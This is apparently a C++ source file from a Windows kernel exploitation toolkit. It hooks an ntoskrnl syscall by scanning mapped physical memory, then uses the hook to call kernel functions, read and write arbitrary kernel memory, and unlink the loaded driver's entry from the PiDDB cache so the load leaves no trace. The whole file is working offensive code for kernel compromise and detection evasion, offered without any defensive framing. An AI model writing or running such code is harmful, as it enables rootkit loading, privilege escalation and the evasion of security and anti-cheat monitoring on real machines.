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#include "kernel_ctx.h"
#include "../mem_ctx/mem_ctx.hpp"
namespace nasa
{
kernel_ctx::kernel_ctx()
{
if (psyscall_func.load() || nt_page_offset || ntoskrnl_buffer)
return;
nt_rva = reinterpret_cast<std::uint32_t>(
util::get_kernel_export(
"ntoskrnl.exe",
syscall_hook.first.data(),
true
));
nt_page_offset = nt_rva % PAGE_SIZE;
ntoskrnl_buffer = reinterpret_cast<std::uint8_t*>(LoadLibraryA(ntoskrnl_path));
DBG_PRINT("[+] page offset of %s is 0x%llx\n", syscall_hook.first.data(), nt_page_offset);
DBG_PRINT("[+] ntoskrnl_buffer: 0x%p\n", ntoskrnl_buffer);
DBG_PRINT("[!] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread(
&kernel_ctx::map_syscall,
this,
ranges.first,
ranges.second
));
for (std::thread& search_thread : search_threads)
search_thread.join();
DBG_PRINT("[+] psyscall_func: 0x%p\n", psyscall_func.load());
}
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{
//if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512)
{
auto page_va = nasa::map_phys(begin + nt_page_offset, end);
if (page_va)
{
// scan every page of the physical memory range
for (auto page = page_va; page < page_va + end; page += 0x1000)
if (!psyscall_func.load()) // keep scanning until its found
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
psyscall_func.store((void*)page);
return;
}
nasa::unmap_phys(page_va, end);
}
}
else // else the range is bigger then 2mb
{
auto remainder = (begin + end) % (0x1000 * 512);
// loop over 2m chunks
for (auto range = begin; range < begin + end; range += 0x1000 * 512)
{
auto page_va = nasa::map_phys(range + nt_page_offset, 0x1000 * 512);
if (page_va)
{
// loop every page of 2mbs (512)
for (auto page = page_va; page < page_va + 0x1000 * 512; page += 0x1000)
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
psyscall_func.store((void*)page);
return;
}
}
nasa::unmap_phys(page_va, 0x1000 * 512);
}
}
// map the remainder and check each page of it
auto page_va = nasa::map_phys(begin + end - remainder + nt_page_offset, remainder);
if (page_va)
{
for (auto page = page_va; page < page_va + remainder; page += 0x1000)
{
if (!memcmp(reinterpret_cast<void*>(page), ntoskrnl_buffer + nt_rva, 32))
{
psyscall_func.store((void*)page);
return;
}
}
nasa::unmap_phys(page_va, remainder);
}
}
}
PEPROCESS kernel_ctx::get_peprocess(DWORD pid)
{
if (!pid)
return NULL;
PEPROCESS proc;
static auto get_peprocess_from_pid =
util::get_kernel_export(
"ntoskrnl.exe",
"PsLookupProcessByProcessId"
);
syscall<PsLookupProcessByProcessId>(
get_peprocess_from_pid,
(HANDLE)pid,
&proc
);
return proc;
}
void kernel_ctx::rkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
buffer,
address,
size
);
}
void kernel_ctx::wkm(void* buffer, void* address, std::size_t size)
{
if (!buffer || !address || !size)
return;
size_t amount_copied;
static auto mm_copy_memory =
util::get_kernel_export(
"ntoskrnl.exe",
"memcpy"
);
if (mm_copy_memory)
syscall<decltype(&memcpy)>(
mm_copy_memory,
address,
buffer,
size
);
}
void* kernel_ctx::get_physical(void* virt_addr)
{
if (!virt_addr)
return NULL;
static auto mm_get_physical =
util::get_kernel_export(
"ntoskrnl.exe",
"MmGetPhysicalAddress"
);
return syscall<MmGetPhysicalAddress>(
mm_get_physical,
virt_addr
);
}
void* kernel_ctx::get_virtual(void* addr)
{
if (!addr)
return NULL;
static auto mm_get_virtual =
util::get_kernel_export(
"ntoskrnl.exe",
"MmGetVirtualForPhysical"
);
PHYSICAL_ADDRESS phys_addr;
memcpy(&phys_addr, &addr, sizeof(addr));
return syscall<MmGetVirtualForPhysical>(
mm_get_virtual,
phys_addr
);
}
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = rkm<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = rkm<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = rkm<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
wkm<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
wkm<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
void kernel_ctx::fix_syscall(nasa::mem_ctx& ctx)
{
pt_entries syscall_entries; // not used.
nasa::psyscall_func =
ctx.set_page(
ctx.virt_to_phys(
syscall_entries,
nasa::psyscall_func
));
nasa::unmap_all();
}
}